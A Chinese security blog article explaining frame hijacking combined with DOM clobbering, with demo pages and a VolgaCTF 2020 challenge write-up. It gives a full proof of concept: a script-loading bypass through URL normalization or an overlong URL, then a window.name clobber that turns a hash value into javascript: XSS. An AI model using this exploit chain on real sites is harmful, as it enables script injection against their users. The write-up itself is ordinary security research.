让我们先从《web之困》这本书第11章的一张图说起:
图中演示了一种叫做框架劫持(Frame Hijacking)的技术。
对此图进行简单复现:
http://attacker.me/a1.html:
<iframe id="iframe1" src="//attacker.me/a2.html"></iframe> <iframe id="iframe2" src="//victim.me/v1.html"></iframe>
http://attacker.me/a2.html:
<body></body> <script> document.body.innerText = 'iframe 1: ' + location; setTimeout(() => { window.open("//attacker.me/fake.html", "private") }, 3000); </script>
http://victim.me/v1.html:
<p id='text'></p> <iframe name="private" src="//victim.me/v2.html"></iframe> <script> document.getElementById('text').innerText = 'iframe2: ' + location; </script>
http://victim.me/v2.html:
<body></body> <script> document.body.innerText = 'iframe3: ' + location; </script>
http://attacker.me/fake.html:
<body></body> <script> document.body.innerText = 'fake page: '+ location; </script>
打开http://attacker.me/a1.html:
3秒钟后,iframe3跳转到fake page:
实验结论:若发起跳转的页面和目标页面的某个上级页面同源,那么跳转是允许的。
同理,直接在 http://attacker.me/a1.html 父窗口发起跳转也是可以的。
这个结论用大白话说就是:当目标页面存在iframe嵌套时,内层iframe的location是可控的。
这东西有什么安全风险呢?浏览器地址栏始终是attacker.me,显然它是没有钓鱼的效果的。
那能否iframe3加载 javascript: 协议触发XSS呢?实验发现跨域时不行。
由于iframe3是iframe2的子页面,所以这里还可以在iframe3里做DomClobbering来污染iframe2里的变量。
让iframe3加载 http://attacker.me/poc.html,poc.html 中设置 window.name 作为clobbering的入口。
下面结合一个CTF中的案例来具体分析。
题目源码:
https://archive.q.2020.volgactf.ru/index.html:
<script src="./js/pages.js"></script> <script> $(window).on('hashchange', function(e) { volgactf.activePage.location=location.hash.slice(1); if(volgactf.pages[volgactf.activePage.location]) { $('#page').attr('src',volgactf.pages[volgactf.activePage.location]); $('.active').removeClass('active'); $('.nav-item > a:contains('+volgactf.activePage.location+')').addClass('active'); } }); $(document).ready(function() { if(location.hash.slice(1) != '2019') { $(window).trigger('hashchange'); } }); </script>
pages.js:
volgactf = { pages: { '2017': './html/2017.html', '2018': './html/2018.html', '2019': './html/2019.html' }, activePage: { location: 2019 } };
简单解释下代码功能,index.html监听hashchange,一旦hash改变,就将hash赋值给 volgactf.activePage.location 变量,然后在数组 pages 内匹配出相应的值传给iframe进行加载。
代码看上去似乎没有问题,但关键在于这个特殊的变量 volgactf.activePage.location 。
如果 volgactf.activePage 是一个加载到a的页面,那么 volgactf.activePage.location=javascript:alert() 将触发a域下的XSS,这不难理解,我们经常这样用。
volgactf.activePage 在pages.js已定义,所以要想覆盖它,必须得让pages.js加载失败。这里有2种方法实现:
一是利用浏览器和nginx对url规范化的差异:
请求 https://archive.q.2020.volgactf.ru/x/..%2F 时,nginx对url解码,实际请求到 https://archive.q.2020.volgactf.ru/ ;而浏览器认为 ..%2F 是个文件,所以最终拼接的js是 https://archive.q.2020.volgactf.ru/x/js/pages.js 。
二是利用斜线构造超长url:
请求 https://archive.q.2020.volgactf.ru////[.....]///// ,使得 https://archive.q.2020.volgactf.ru////[.....]/////js/main.js 刚好触发414 Request-URI Too Large。
如果要在 volgactf.activePage.location 构造XSS,需要满足些什么条件:
volgactf.activePage 是一个加载到 archive.q.2020.volgactf.ru 域的iframe
其父页面可以通过 volgactf.activePage 获取到这个iframe对象
开头的实验已经说了,当页面内存在iframe嵌套时,内层iframe的加载地址是可控的,只需要让它加载攻击者的poc.html,poc.html里放个 <iframe src=https://archive.q.2020.volgactf.ru/></iframe> 。条件1易满足。
如何让 volgactf.activePage 指向这个poc.html内的iframe呢?这里就需要用到DomClobbering了。
poc.html作为一个页面,实际是一个Window对象,window对象恰好有name属性可以用来clobbering。所以可以让window.name 为 volgactf,iframe的 name 或 id 为 activePage 。
为什么要用window.name而不用别的标签?因为用别的标签实际是注册变量到poc.html这个iframe内,而非其父页面内。
最终POC如下,
https://c6c7cec9.ngrok.io/exp/index.html:
<iframe src='https://archive.q.2020.volgactf.ru/x/..%2f'></iframe> <script> window.onload = () => { // 这里也可以直接用data:协议创建iframe,而不引入poc.html frames[0].frames[0].location = 'https://c6c7cec9.ngrok.io/exp/poc.html'; setTimeout( // 这里只变hash,防止重新请求刷新页面 () => { frames[0].location = 'https://archive.q.2020.volgactf.ru/x/..%2f#javascript:alert(document.domain)' }, 5000) } </script>
https://c6c7cec9.ngrok.io/exp/poc.html:
<iframe name=activePage src=https://archive.q.2020.volgactf.ru/></iframe> <script> window.name='volgactf'; </script>
最后回顾一下,我们通过DomClobbering获得了什么?仅仅是一个目标同域的iframe对象而已。
我们有可能clobbering出别的东西来吗?据我所知很有限,似乎只能clobbering出同域的iframe/object等对象,这应该和同源策略有关(欢迎指正)。
通过框架劫持+Dom Clobbering,我们在看似安全的代码中发现了XSS。这种技术都是在多年前的由《web之困》一书中的作者发现的,但实际漏洞案例较少,更多利用方式还有待发掘。
本文作者:少林功夫好啊
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/127532.html